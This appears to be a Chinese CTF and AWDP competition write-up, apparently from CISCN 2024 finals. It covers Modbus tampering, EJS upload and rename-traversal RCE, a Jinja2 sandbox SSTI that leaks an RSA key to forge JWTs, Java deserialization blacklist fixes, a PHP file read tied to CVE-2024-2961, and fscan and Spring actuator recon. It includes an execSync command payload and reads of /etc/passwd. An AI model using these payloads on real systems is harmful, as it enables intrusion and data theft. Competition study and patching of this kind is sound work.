0,"result":0,"time":0}
 get modbus data 12 bytes from client!
0b 00 00 00 00 06 01 03 45 9c 01 00 
 get modbus data 11 bytes from server!
0b 00 00 00 00 05 01 03 02 09 00 
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"heating_G","value":
9,"result":0,"time":0}
exit the proc!

与上文的比对,可以得到温度数据curr_T应该由server端得到,改变的为Buf[9]Buf[10]两个部分

modbus data from server Buf[9], Buf[10] curr_T value
02 00 00 00 00 05 01 04 02 8c 10 8c 10 4236
04 00 00 00 00 05 01 04 02 9d 13 9d 13 5021
06 00 00 00 00 05 01 04 02 12 1c 12 1c 7186
08 00 00 00 00 05 01 04 02 b3 1e b3 1e 7859
0a 00 00 00 00 05 01 04 02 c2 1f c2 20 8130

观察发现是小端存储,写一个检测

src/security/modbus_monitor/modbus_monitor.c

// 窃取数据和篡改数据的位置开始
            
         if(Buf[7] == 0x04){
             int temperature = (Buf[10] << 8) | Buf[9];
             if (temperature >= 4300){
                 Buf[10] = 0x10;
                 Buf[9] = 0x68;
             }
         }
 

//窃取数据和篡改数据的位置结束

重新编译,然后执行验证脚本

image-20240713165910986

温度稳定显示在4200


访问控制模拟任务

后面两题交给队友了,我开摆(

角色验证


角色权限限制


密码保护模拟任务


CTF

day1可信计算

day2车联网+工控

因为都没接触过所以这部分全交给队友们来做


AWDP

被定式思维害了,第6轮开始我才修好js,按理来说15次提交机会上来就应该waf拉满赌一赌的

@chen那边也是修二打一,真厉害(川腔

image-20240720150051765

Web

ezjs

预期

break遗憾四血

const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs');

const path = require("path");

function createDirectoriesForFilePath(filePath) {
    const dirname = path.dirname(filePath);

    fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){
    if (req.session.user!=null){
        next()
    }else {
        res.redirect('/login')
    }
}

const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
    },
    filename: function (req, file, cb) {
        // 直接使用原始文件名
        cb(null, file.originalname);
    }
});

// 配置 multer 上传中间件
const upload = multer({
    storage: storage, // 使用自定义存储选项
    fileFilter: (req, file, cb) => {
        const fileExt = path.extname(file.originalname).toLowerCase();
        if (fileExt === '.ejs') {
            // 如果文件后缀为 .ejs,则拒绝上传该文件
            return cb(new Error('Upload of .ejs files is not allowed'), false);
        }
        cb(null, true); // 允许上传其他类型的文件
    }
});

admin={
    "username":"ADMIN",
    "password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
    secret: 'Can_U_hack_me?',
    resave: false,
    saveUninitialized: true,
    cookie: { maxAge: 3600 * 1000 }
}));

app.get('/',(req,res)=>{
    res.redirect('/login')
})

app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username === 'admin'){
        return res.status(400).send('you can not be admin');
    }
    const new_username = username.toUpperCase()

    if (new_username === admin.username && password === admin.password) {
        req.session.user = "ADMIN";
        res.redirect('/rename');
    } else {
        // res.redirect('/login');
    }
});

app.get('/upload', (req, res) => {
    res.render('upload');
});

app.post('/upload', upload.single('fileInput'), (req, res) => {
    if (!req.file) {
        return res.status(400).send('No file uploaded');
    }
    const fileExt = path.extname(req.file.originalname).toLowerCase();

    if (fileExt === '.ejs') {
        return res.status(400).send('Upload of .ejs files is not allowed');
    }
    res.send('File uploaded successfully: ' + req.file.originalname);
});

app.get('/render',(req, res) => {
    const { filename } = req.query;

    if (!filename) {
        return res.status(400).send('Filename parameter is required');
    }

    const filePath = path.join(__dirname, 'uploads', filename);

    if (filePath.endsWith('.ejs')) {
        return res.status(400).send('Invalid file type.');
    }

    res.render(filePath);
});

app.get('/rename',IfLogin, (req, res) => {

    if (req.session.user !== 'ADMIN') {
        return res.status(403).send('Access forbidden');
    }

    const { oldPath , newPath } = req.query;
    if (!oldPath || !newPath) {
        return res.status(400).send('Missing oldPath or newPath');
    }
    if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
        return res.status(400).send('Invalid file name');
    }
    if (oldPath && /\.\.|flag/i.test(oldPath)) {
        return res.status(400).send('Invalid file name');
    }
    const new_file = newPath.toLowerCase();

    const oldFilePath = path.join(__dirname, 'uploads', oldPath);
    const newFilePath = path.join(__dirname, 'uploads', new_file);

    if (newFilePath.endsWith('.ejs')){
        return res.status(400).send('Invalid file type.');
    }
    if (!oldPath) {
        return res.status(400).send('oldPath parameter is required');
    }

    if (!fs.existsSync(oldFilePath)) {
        return res.status(404).send('Old file not found');
    }

    if (fs.existsSync(newFilePath)) {
        return res.status(409).send('New file path already exists');
    }
    createDirectoriesForFilePath(newFilePath)
    fs.rename(oldFilePath, newFilePath, (err) => {
        if (err) {
            console.error('Error renaming file:', err);
            return res.status(500).send('Error renaming file');
        }

        res.send('File renamed successfully');
    });
});

app.listen('3000', () => {
    console.log(`http://localhost:3000`)
})

package.json

{
  "name": "express-file-upload-app",
  "version": "1.0.0",
  "description": "ezjs",
  "main": "app.js",
  "scripts": {
    "start": "node app.js"
  },
  "dependencies": {
    "express": "^4.17.2",
    "ejs": "^3.1.6",
    "express-session": "^1.17.2",
    "body-parser": "^1.19.0",
    "multer": "^1.4.4"
  }
}

ejs v3.1.6,但是看了下render没有参数可控

接下来考虑express引擎解析的漏洞,参考:https://xz.aliyun.com/t/13512

上传index.js

image-20240720112355986

然后目录穿越移动到node_modules下

image-20240720112416310

接下来再上传一个.ttt后缀的文件

接下来/render路由先渲染1.ttt,再渲染1.ejs即可带出回显

image-20240720112540877

然后换一个后缀故技重施即可

image-20240720112948693

image-20240720112927334


非预期

来自https://1llustrious.github.io/2024/07/25/CISCN%E4%B9%8B%E6%97%85/#%E5%9B%BD%E5%86%B3

.ejs 绕过文件上传

render 传参 .ejs/…/ 绕过 render 检验

<%= global.process.mainModule.require('child_process').execSync('cat /flag')%>

fix

加一下中间件和重命名的路径名称黑名单即可,应该只需要过滤上传js即可,感觉是这么抢血的

// 配置 multer 上传中间件
const upload = multer({
    storage: storage, // 使用自定义存储选项
    fileFilter: (req, file, cb) => {
        const fileExt = path.extname(file.originalname).toLowerCase();
        if (fileExt === '.ejs') {
            // 如果文件后缀为 .ejs,则拒绝上传该文件
            return cb(new Error('Upload of .ejs files is not allowed'), false);
        }
        if (fileExt === '.js') {
            // 如果文件后缀为 .js,则拒绝上传该文件
            return cb(new Error('Upload of .js files is not allowed'), false);
        }
        cb(null, true); // 允许上传其他类型的文件
    }
});

/*...*/

if (newPath && /app\.js|\\|\.ejs|node_modules/i.test(newPath)) {
    return res.status(400).send('Invalid file name');
}
if (oldPath && /\.\.|flag|node_modules/i.test(oldPath)) {
    return res.status(400).send('Invalid file name');
}

ShareCard(break复现)

SSTI + 沙盒逃逸

思路参考:nepnep战队的知识分享会 https://www.bilibili.com/video/BV1gDv1eFEyN/

from flask import Flask, request, url_for, redirect, current_app
from jinja2.sandbox import SandboxedEnvironment
from Crypto.PublicKey import RSA
from pydantic import BaseModel
from io import BytesIO
import qrcode
import base64
import json
import jwt
import os

class SaferSandboxedEnvironment(SandboxedEnvironment):
    def is_safe_attribute(self, obj, attr: str, value) -> bool:
        return True

    def is_safe_callable(self, obj) -> bool:
        return False

class Info(BaseModel):
    name: str
    avatar: str
    signature: str
    def parse_avatar(self):
        self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()

def safer_render_template(template_name, **kwargs):
    env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)
    return env.from_string(open('templates/'+template_name).read()).render(**kwargs)

app = Flask(__name__)
rsakey = RSA.generate(1024)

@app.route("/createCard", methods=["GET", "POST"])
def create_card():
    if request.method == "GET":
        return safer_render_template("create.html")
    if request.form.get('style')!=None:
        open('templates/style.css','w').write(request.form.get('style'))
    info=Info(**request.form)
    if info.avatar not in os.listdir('avatars'):
        raise FileNotFoundError
    token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
    share_url = request.url_root + url_for('show_card', token=token)
    qr_img = BytesIO()
    qrcode.make(share_url).save(qr_img,'png')
    qr_img.seek(0)
    share_img = base64.b64encode(qr_img.getvalue()).decode()
    return safer_render_template("created.html", share_url=share_url, share_img=share_img)

@app.route("/showCard", methods=["GET"])
def show_card():
    token = request.args.get("token")
    data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
    info = Info(**data)
    info.parse_avatar()
    return safer_render_template("show.html", info=info)

@app.route("/", methods=["GET"])
def index():
    return redirect(url_for('create_card'))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8888, debug=True)

本地要调试的时候发现给的dist-packages会报错,实际有限制py版本

先在linux下起一个venv环境,注意要是python3.8的:

python3 -m venv test
source test/bin/activate
#pip3 install dist-packages.tar.gz
# 上面这个用不了,缺少setup.py
tar -zxvf dist-packages.tar.gz -C dist-packages
cp -r dist-packages/* test/lib/python3.8/site-packages/
cd src
python app.py

审计代码

首先是 /createCard 路由

@app.route("/createCard", methods=["GET", "POST"])
def create_card():
    if request.method == "GET":
        return safer_render_template("create.html")
    if request.form.get('style')!=None:
        open('templates/style.css','w').write(request.form.get('style'))
    info=Info(**request.form)
    if info.avatar not in os.listdir('avatars'):
        raise FileNotFoundError
    token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
    share_url = request.url_root + url_for('show_card', token=token)
    qr_img = BytesIO()
    qrcode.make(share_url).save(qr_img,'png')
    qr_img.seek(0)
    share_img = base64.b64encode(qr_img.getvalue()).decode()
    return safer_render_template("created.html", share_url=share_url, share_img=share_img)

image-20240809170450021

注意到这里可以写入文件:

if request.form.get('style')!=None:
    open('templates/style.css','w').write(request.form.get('style'))

找一下这个 style.css 文件被导入的地方,在三个 html 里面都有

image-20240809171936436

以模板的形式包含文件来导入,然后会用safer_render_template进行渲染

我们尝试传入一下 style 参数打ssti看看

image-20240809173222915

确实存在ssti,但是不能直接payload一把梭,因为这里用的是自定义的safer_render_template

def safer_render_template(template_name, **kwargs):
    env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)
    return env.from_string(open('templates/'+template_name).read()).render(**kwargs)

可以看到开了个沙盒

class SaferSandboxedEnvironment(SandboxedEnvironment):
    def is_safe_attribute(self, obj, attr: str, value) -> bool:
        return True

    def is_safe_callable(self, obj) -> bool:
        return False

这里设置成能够访问属性,但是不能调用,给沙盒拦了

image-20240809173315191

怎么办呢?继续审计代码

class Info(BaseModel):
    name: str
    avatar: str
    signature: str
    def parse_avatar(self):
        self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()

明显这里存在一个文件读取,看一下parse_avatar调用的位置:

@app.route("/showCard", methods=["GET"])
def show_card():
    token = request.args.get("token")
    data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
    info = Info(**data)
    info.parse_avatar()
    return safer_render_template("show.html", info=info)

在 /showCard 路由下

我们正常生成一个二维码之后点击二维码就可以跳转到 /showcard 下,同时后面会跟一串token

image-20240809174116052

一眼jwt,解码一下看看

image-20240809174228055

相关的生成代码:

rsakey = RSA.generate(1024)

	info=Info(**request.form)
    if info.avatar not in os.listdir('avatars'):
        raise FileNotFoundError
    token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
    share_url = request.url_root + url_for('show_card', token=token)

由于if info.avatar not in os.listdir('avatars')的存在,导致我们不能直接在 avatar 参数上进行目录穿越

那么考虑 jwt 伪造 avatar 的值,但是这里jwt的key是rsa生成的,我们需要想办法得到 rsakey

这时候就又想到前面的 ssti 了,虽然不能直接调用,但是可以访问属性,我们可以利用这一点获取rsakey

现在想办法在沙盒内拿到一个全局属性,注意到return safer_render_template("created.html", share_url=share_url, share_img=share_img),意味着我们可以用share_url或者share_img来获取属性,同理下面的info也可以

image-20240809180407291

这里的话要取 info 的属性,因为 info 是调用Info类得到的,Info类下有parse_avatar这个全局方法,然后需要在 /showCard 路由下查看style,因为这里才有info,而 /createCard 则会报错但没关系

那么读rsakey

{{info.__class__.parse_avatar.__globals__.rsakey.__dict__}}

image-20240809181611924

{'_n': Integer(126123614477015775448789877206017292386336663012480330606083697181136984617708780170725665068837288536687956308850816616924015665300736823691410985286499563938666378049277495278535134451022151639249605836868202071595881433292992822004089702149441937221323083043604617381139486807424885868287782232845765278943),
'_e': Integer(65537),
'_d': Integer(16356021780675909418180038243647725223789238124159945219053440687588434506704715239803430541832066088977385914352550321608209242708561000115252482779955744104485540020656221986885376506975459291207812710017083944289037938520247378083893059236195153243903078926446378766613488506330804090368443881290180527489),
'_p': Integer(9850363198422246262285117823658498388221798522562304025833696072510450569943633244157099881440406495235906124442860453293788140178008982726677547045673409),
'_q': Integer(12803955746242662857848752418436052334358986979076848017812570866767671055374254584876363536051804158817416040437466027033560595225841364508826493617684127),
'_u': Integer(10145018723854556278558667216207587332906644078393923017778188994804203848464400278734625183772210928560743734943678326043651170472880674685079284970854903),
'_dp': Integer(999961340297895911973127986950882551487550934138074807877558935721989527165341592892216389386499601947060186549862682084373292897207589027275977241785025),
'_dq': Integer(5244118286473985022664696467883188378455894052098520751546836553485478835899655790885322032358858770327861839227039124427954186139921478037534838971662989),
'_invq': None}

接下来我们要做的是生成一个rsa私钥,使用工具:https://github.com/ius/rsatool

python3 rsatool.py -f PEM -o private.pem -n 126123614477015775448789877206017292386336663012480330606083697181136984617708780170725665068837288536687956308850816616924015665300736823691410985286499563938666378049277495278535134451022151639249605836868202071595881433292992822004089702149441937221323083043604617381139486807424885868287782232845765278943 -d 16356021780675909418180038243647725223789238124159945219053440687588434506704715239803430541832066088977385914352550321608209242708561000115252482779955744104485540020656221986885376506975459291207812710017083944289037938520247378083893059236195153243903078926446378766613488506330804090368443881290180527489

得到私钥,于是伪造jwt

image-20240809184225259

带回token,得到base64编码后flag

image-20240809184249085


fix

本题由@Laffey修复

加盐

@app.route("/createCard", methods=["GET", "POST"])
def create_card():
    if request.method == "GET":
        return safer_render_template("create.html")
    if request.form.get('style')!=None:
        open('templates/style.css','w').write(request.form.get('style'))
    info=Info(**{'name':request.form['name'],'avatar':request.form['avatar'],'signature':request.form['signature'],'salt':str(os.urandom(100))})
    #
    if '{' in info.name+info.avatar+info.signature or '}' in info.name+info.avatar+info.signature:
        raise Exception
    #
    if info.avatar not in os.listdir('avatars'):
        raise FileNotFoundError
    token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
    share_url = request.url_root + url_for('show_card', token=token)
    qr_img = BytesIO()
    qrcode.make(share_url).save(qr_img,'png')
    qr_img.seek(0)
    share_img = base64.b64encode(qr_img.getvalue()).decode()
    return safer_render_template("created.html", share_url=share_url, share_img=share_img)

貌似这个算非预期(?

看别的师傅是写ssti waf


SolonMaster

就一个控制器DemoController

package com.example.demo;

import com.example.demo.User;
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.Base64;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.json.JSONObject;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Post;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.ModelAndView;

@Controller
public class DemoController {
    @Mapping(value="/")
    public ModelAndView index() throws Exception {
        ModelAndView model = new ModelAndView("freemarker.ftl");
        model.put("msg", (Object)"/api");
        return model;
    }

    /*
     * WARNING - Removed try catching itself - possible behaviour change.
     */
    @Mapping(value="/log")
    public String log() throws Exception {
        String filePath = "./logs/solon.log";
        BufferedReader reader = null;
        StringBuilder stringBuilder = new StringBuilder();
        try {
            String line;
            reader = new BufferedReader(new FileReader(filePath));
            while ((line = reader.readLine()) != null) {
                stringBuilder.append(line).append(System.lineSeparator());
            }
        }
        catch (IOException e) {
            e.printStackTrace();
        }
        finally {
            try {
                if (reader != null) {
                    reader.close();
                }
            }
            catch (IOException e) {
                e.printStackTrace();
            }
        }
        return stringBuilder.toString();
    }

    @Mapping(value="/api")
    @Post
    public String api(Map map, Context ctx) throws Exception {
        JSONObject jsonObject = new JSONObject(ctx.body());
        if (map.size() != jsonObject.length()) {
            User user = (User)DemoController.deserialize((String)map.get("data"));
            return user.getName();
        }
        return "success";
    }

    static Object deserialize(String data) throws Exception {
        byte[] decode = Base64.getDecoder().decode(data);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode)){
            boolean check = false;

            protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                Class<?> targetc = super.resolveClass(desc);
                if (!this.check && !User.class.isAssignableFrom(targetc)) {
                    throw new IllegalArgumentException("HackerClass:" + targetc);
                }
                if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
                    throw new IllegalArgumentException("HackerClass:" + targetc);
                }
                this.check = true;
                return targetc;
            }
        };
        return ois.readObject();
    }
}

一眼丁真漏洞点在反序列化上,还提供了resolveClass过滤,看了下依赖里面有个fastjson,不知道是不是打那个,反正我刚好没学这个(

fix(Failed)

一点小问题:反编译的时候还反编译出了一个DemoController$1的子类,但是IDEA识别不到,不知道怎么回事

尝试继续重写resolveClass

package com.example.demo;

import java.io.*;
import java.util.*;
import javax.management.BadAttributeValueExpException;

import org.json.JSONObject;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Post;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.ModelAndView;

@Controller
public class DemoController {
    @Mapping(value="/")
    public ModelAndView index() throws Exception {
        ModelAndView model = new ModelAndView("freemarker.ftl");
        model.put("msg", (Object)"/api");
        return model;
    }

    /*
     * WARNING - Removed try catching itself - possible behaviour change.
     */
    @Mapping(value="/log")
    public String log() throws Exception {
        String filePath = "./logs/solon.log";
        BufferedReader reader = null;
        StringBuilder stringBuilder = new StringBuilder();
        try {
            String line;
            reader = new BufferedReader(new FileReader(filePath));
            while ((line = reader.readLine()) != null) {
                stringBuilder.append(line).append(System.lineSeparator());
            }
        }
        catch (IOException e) {
            e.printStackTrace();
        }
        finally {
            try {
                if (reader != null) {
                    reader.close();
                }
            }
            catch (IOException e) {
                e.printStackTrace();
            }
        }
        return stringBuilder.toString();
    }

    @Mapping(value="/api")
    @Post
    public String api(Map map, Context ctx) throws Exception {
        JSONObject jsonObject = new JSONObject(ctx.body());
        if (map.size() != jsonObject.length()) {
            User user = (User)DemoController.deserialize((String)map.get("data"));
            return user.getName();
        }
        return "success";
    }

    static Object deserialize(String data) throws Exception {
        byte[] decode = Base64.getDecoder().decode(data);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode)){
            boolean check = false;
            private ArrayList Blacklist=new ArrayList();
            public void ObjectInputStream(InputStream in) throws IOException {
                this.Blacklist.add(Hashtable.class.getName());
                this.Blacklist.add(HashSet.class.getName());
                this.Blacklist.add(TreeMap.class.getName());
                this.Blacklist.add(BadAttributeValueExpException.class.getName());
            }
            protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                Class<?> targetc = super.resolveClass(desc);
                if (!this.check && !User.class.isAssignableFrom(targetc)) {
                    throw new IllegalArgumentException("HackerClass:" + targetc);
                }
                if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
                    throw new IllegalArgumentException("HackerClass:" + targetc);
                }
                if(!desc.getName().equals("commons.collections")){
                    throw new InvalidClassException("Unauthorized",desc.getName());
                }
                if(!desc.getName().equals("com.alibaba.fastjson.JSON")){
                    throw new InvalidClassException("Unauthorized",desc.getName());
                }
                if (this.Blacklist.contains(desc.getName())) {
                    throw new InvalidClassException("dont do this");
                }
                this.check = true;
                return targetc;
            }
        };
        return ois.readObject();
    }
}

来自光辉师傅のfix,通防?:

protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                if(desc.getName().contains("asp")||desc.getName().contains("javax.management")||desc.getName().contains("AbstractTranslet")||desc.getName().contains("Fastjson")||desc.getName().contains("jmx")||desc.getName().contains("HashMap")||desc.getName().contains("java.lang")||desc.getName().contains("com.alibaba.fastjson.JSONArray")||desc.getName().contains("HashMap")||desc.getName().contains("com.alibaba.fastjson")||desc.getName().contains("javax.swing")||desc.getName().contains("java")){
                    throw new IllegalArgumentException("HackerClass:" + desc);
                }
                Class targetc = super.resolveClass(desc);
                if(targetc.getName().contains("asp")||targetc.getName().contains("javax.management")||targetc.getName().contains("AbstractTranslet")||targetc.getName().contains("Fastjson")||targetc.getName().contains("jmx")||targetc.getName().contains("HashMap")||targetc.getName().contains("java.lang")||targetc.getName().contains("com.alibaba.fastjson.JSONArray")||targetc.getName().contains("HashMap")||targetc.getName().contains("com.alibaba.fastjson")||targetc.getName().contains("javax.management")||targetc.getName().contains("javax.swing")||javax.swing.event.SwingPropertyChangeSupport.class.isAssignableFrom(targetc)||desc.getName().contains("java")){
                    throw new IllegalArgumentException("HackerClass:" + targetc);
                }
                if (BadAttributeValueExpException.class.isAssignableFrom(targetc)|| java.util.HashMap.class.isAssignableFrom(targetc)|| JSONArray.class.isAssignableFrom(targetc)|| AbstractAction.class.isAssignableFrom(targetc)|| Map.class.isAssignableFrom(targetc)|| XString.class.isAssignableFrom(targetc)|| StyledEditorKit.AlignmentAction.class.isAssignableFrom(targetc)||AbstractAction.class.isAssignableFrom(targetc)||StyledEditorKit.BoldAction.class.isAssignableFrom(targetc)||StyledEditorKit.StyledTextAction.class.isAssignableFrom(targetc)||StyledEditorKit.UnderlineAction.class.isAssignableFrom(targetc)) {
                    throw new IllegalArgumentException("HackerClass:" + targetc);
                }
                if (!this.check && !User.class.isAssignableFrom(targetc)) {
                    throw new IllegalArgumentException("HackerClass:" + targetc);
                } else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)|| java.util.HashMap.class.isAssignableFrom(targetc)|| JSONArray.class.isAssignableFrom(targetc)|| AbstractAction.class.isAssignableFrom(targetc)|| Map.class.isAssignableFrom(targetc)|| XString.class.isAssignableFrom(targetc)|| StyledEditorKit.AlignmentAction.class.isAssignableFrom(targetc)||AbstractAction.class.isAssignableFrom(targetc)||StyledEditorKit.BoldAction.class.isAssignableFrom(targetc)||StyledEditorKit.StyledTextAction.class.isAssignableFrom(targetc)||StyledEditorKit.UnderlineAction.class.isAssignableFrom(targetc)) {
                    throw new IllegalArgumentException("HackerClass:" + targetc);
                } else {
                    this.check = true;
                    return targetc;
                }

            }
        };

Fobee(Unsolved)

没看


Pwn-PHP(复现)

image-20240721224758509

CVE-2024-2961?

fix貌似把iconv的so文件扬了就行

起docker

docker load < 2024_ciscn_final_php.tar
docker run -tid --name final_php -p 9998:9999 -e FLAG=flag{test_flag} 2024_ciscn_final_php

看一下data.php

<?php

function base64_decode_data($data) {
    return base64_decode($data);
}

// AES加密和解密函数
function aes_encrypt($data, $key) {
    $key = hash('sha256', $key, true);
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
    $encrypted = $iv . $encrypted;
    return base64_encode($encrypted);
}

function is_blacklisted($path) {
    $blacklist = ['/root', '/home', '/media', '/mnt', '/lib64', '/lib']; // 添加其他黑名单目录
    foreach ($blacklist as $blacklisted_dir) {
        if (strpos(realpath($path), $blacklisted_dir) === 0) {
            return true;
        }
    }
    return false;
}

// 获取Base64编码的文件路径并进行Base64解码
$encoded_file = $_POST['file'];
$file = base64_decode_data($encoded_file);

if (is_blacklisted($file)) {
    die('Access to this directory is not allowed.');
}

// 获取文件内容
$data = file_get_contents($file);

// 加密文件内容
$key = 'Welcome_to_CISCN_2024_Final';  // Actual key
$encrypted_data = aes_encrypt($data, $key);

echo "This is your encrypted file : $encrypted_data";


?>

文件输出的内容加密了一层aes

读取/etc/passwd,整一个decrypt函数

$data = "BVKJrBujS7bUUE76j0JHe6AQ0rMHAsdTQPUmoHa6Ty9aS7J6FUMpWbmn/vNcOYBk9SdXenOSTE7XgsjuifgtFsZFbf+59Fw0bNZ5CtynJEjGc2Mr/rQqXxw7zaKRbp77iLWLTAVrAEyFed20ayOHvw6mf59iphrfYfkLVtJ18H+73WJcbzB8/gAxbCYPLxUv6cLUhbGW3kuTTjeJabnOUwy64vEsck0mmYVbyh/aXZrQIVZmnSaxIjm5TS1f6EAQU5KaLkXSanIP4k+7VIMQlkhRn0xxcU4VK2HQYxDsZGrr8jDSGl8CSmUWQxtQtJhheG5Xn30Xu6NxLHb/yBsCdLV3deZBL6HkZO9BWaEDFrMljC9Tnf41WP3/EHr/ljRuoQWat0S1U4QP2bkIWsI3o5B0TfCxr1MZBczZQro2uDtUSxvmrijoOB8PahfzsohIqY2PUnkpIHAMFa/cw0uwQePv9zKVGmoGUhlIjjSelwjQVE6E4WV/QGKL4pL1ruWeS78cm1Cf0Hc/WLzpQXOSMkyPp3I7vFqWS1IeLXr0jVod6C7VGtlif0e3wyZwnpAYujl0t3m8ZYu7ms0jfW2LYYkpGPV6OshWrO9OOJAp1UGfsC0wvp6YdCz99l3nQ+iwgQcDo5xQdoGO/LXq8qs8a6FtgRa7F+sbihk5EaAGq8QQzd8MRTpTeciwcxKUdDSo+2n1uQYhE7MukOMrJLlQnvandAxj+ucMJLMh8UDbTgkZ9pky6BzQGgCMXJApvcPccmrpKvNUKuw6ZO93XY93j7aBYPk/jUIUbjPO+PsYCnqRA66viAZ21dlGCQFpHxmYHohja47FxBLU9dfm394+zHvlXIpaJXhdw9KlNlTCn5RnXpHnRm+zynEVflQNFgOKE9MSWx76Y6/11dNu12KYB4GzaR7kd9v/p0MgiYss1MNQOsfvCPIDvm8wEhECy+ej4iECuI5lyqd3icCxq4QxGQtkOY243vfEv3LV4PW4602uO/1pi9BB7TQsLkl1iBQVprmO6aarK6bifywhd2CpDjXZ1YPuuk5G6NsXx+XpbE1R0LkCDZ6HIxDB4CC6bEosOvT9RhsOcw0zd/euo07hBRTYI+TiXui0PeSdchu9KLNvY2twBhpGA+kz7haa8mnXVRgvrIBL2YNIu8lP1x0v/iu2U4bcMubq2DxJArTKgjFfA4HgGy4azbHVm/n7vfYOqAIBaCnnjSlUZh4YBlFhJOFQgChuMHJcUQG+j9H/jy2GFQDZI3imUz2aRB6guzThVQ/1LoYFTSqVaS+6iIKGw9hxyNDMTfhK5vg3T9uq2EmoT6+y3ePETY9YxFV1eWVcO999naFCArEvqZk7t5qyUZHOyDqjVeUMEh73i3mBJubzZuZ7gN8YPwKRei9u97ldqPUBid2uYoLVMOmG4B13pn6QgrvqGXwLmgqUtjVTiy5ctQ6WsK91oSq0gYLqHm2lrTpRTuYYKUDQuAgZSOEaBNmd3uGmjArtUURLqTo2FMsEPaidU4IlPhxINyNI00yJ54HmL7KTVt+Lv+7I/wReUZzHtOiIodlZkiFJI48IQ74="
$key = 'Welcome_to_CISCN_2024_Final';
function aes_decrypt($data, $key) {
    $key = hash('sha256', $key, true);
    $data = base64_decode($data);
    $iv = substr($data, 0, 16);
    $encrypted = substr($data, 16);
    return openssl_decrypt($encrypted, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
}
$decrypted_data = aes_decrypt($data, $key);

可以解密出 /etc/passwd 的内容,但是 /flag 不行,因为docker里只有root有读权限

但是也够用了,读 /proc/self/maps

然后读 /usr/lib/x86_64-linux-gnu/libc.so.6

接下来打cve-2024-2961即可

但是实际打的时候发现堆那里貌似做了点手脚,导致exp不能一把梭,需要pwn✌支援(


渗透

我不会渗透也没打过云境,内网代理还是前一天现学的,但是根本没建立起一个内网代理的思路,代理还是等巨魔从酒店拿拓展坞回来才开张的(

image-20240721140100586

传fscan到vps扫一下

root@vps:~# ./fscan -h 192.168.36.88/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
(icmp) Target 192.168.36.88   is alive
(icmp) Target 192.168.36.253  is alive
[*] Icmp alive hosts len is: 2
192.168.36.88:22 open
[*] alive ports len is: 1

然后扫erp

>fscan.exe -h 8.130.44.201

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
8.130.44.201:8080 open
8.130.44.201:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://8.130.44.201:8080  code:302 len:0      title:None 跳转url: http://8.130.44.201:8080/login;jsessionid=65B247F806C408534985A1D9591BE5BE
[*] WebTitle http://8.130.44.201:8080/login;jsessionid=65B247F806C408534985A1D9591BE5BE code:200 len:1383   title:Master ERP login Form
[+] PocScan http://8.130.44.201:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://8.130.44.201:8080 poc-yaml-springboot-env-unauth spring2

ERP

[*] WebTitle http://8.130.44.201:8080  code:302 len:0      title:None 跳转url: http://8.130.44.201:8080/login;jsessionid=65B247F806C408534985A1D9591BE5BE
[*] WebTitle http://8.130.44.201:8080/login;jsessionid=65B247F806C408534985A1D9591BE5BE code:200 len:1383   title:Master ERP login Form
[+] PocScan http://8.130.44.201:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://8.130.44.201:8080 poc-yaml-springboot-env-unauth spring2

存在敏感信息泄露,访问/actuator/env可以读到配置信息

/actuator/heapdump可以导出堆内存信息

